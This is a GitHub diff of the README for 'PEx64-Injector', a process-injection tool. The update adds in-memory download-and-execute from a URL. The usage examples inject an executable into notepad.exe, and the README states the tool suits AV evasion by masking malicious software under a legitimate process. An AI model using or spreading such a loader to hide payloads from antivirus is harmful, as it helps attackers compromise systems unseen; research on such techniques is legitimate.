File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1- > # PEx64-Injector (Process Migrator)
2-
3- > #### Migrate any x64 exe to any x64 process (Net FrameWork 3.5)
1+ > # PEx64-Injector (Process Migrator) + Download Execute In Memory [ Updated 23/10/2024]
2+ > #### Inject any x64 exe to any x64 process ~~ (Net FrameWork 3.5)~~ Upgraded to : Net FrameWork 4.7.2 Directly from the Internet or Locally, without touching the disk.
43> #### No Administrator privileges required.
54> ##### GIF Demo
65> ![ PoC] ( https://i.imgur.com/gILIbbd.gif )
76> ### How can be used?
87> ![ shot] ( https://i.imgur.com/0EGhY2r.png )
98> #### Download [ here] ( https://github.com/0xyg3n/PEx64-Injector/releases/tag/1.0 ) .
10- > #### Usage: Migrator.exe payload(fpath) Migratefile(fpath)
11- > #### Example: Migrator.exe C:\Users\User\Desktop\Putty64.exe C:\Windows\System32\notepad.exe
9+ > #### Usage: Migrator.exe "localfilePath(Lpath)" or "direct URL" "Legitfile(fpath)"
10+ > #### Usage Example: 1. Migrator.exe "C:\Users\User\Desktop\Putty64.exe" "C:\Windows\System32\notepad.exe"
11+ > #### Usage Example: 2. Migrator.exe "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe " "C:\Windows\System32\notepad.exe"
1212> #### Keep as a note that when you specify the migratefile it will launch as a new process and won't migrate to an already running process.
1313> #### Such tool can be utilized for AV evasion, masking malicious software under legitimate process.
1414![ Code] ( https://i.imgur.com/OTyHK8b.png )
1515
16- ###### Todo: download/execute function to load remote files.
1716###### Special thanks to [ GigaJew] ( https://github.com/gigajew/ ) .
1817______________________
You can’t perform that action at this time.
0 commit comments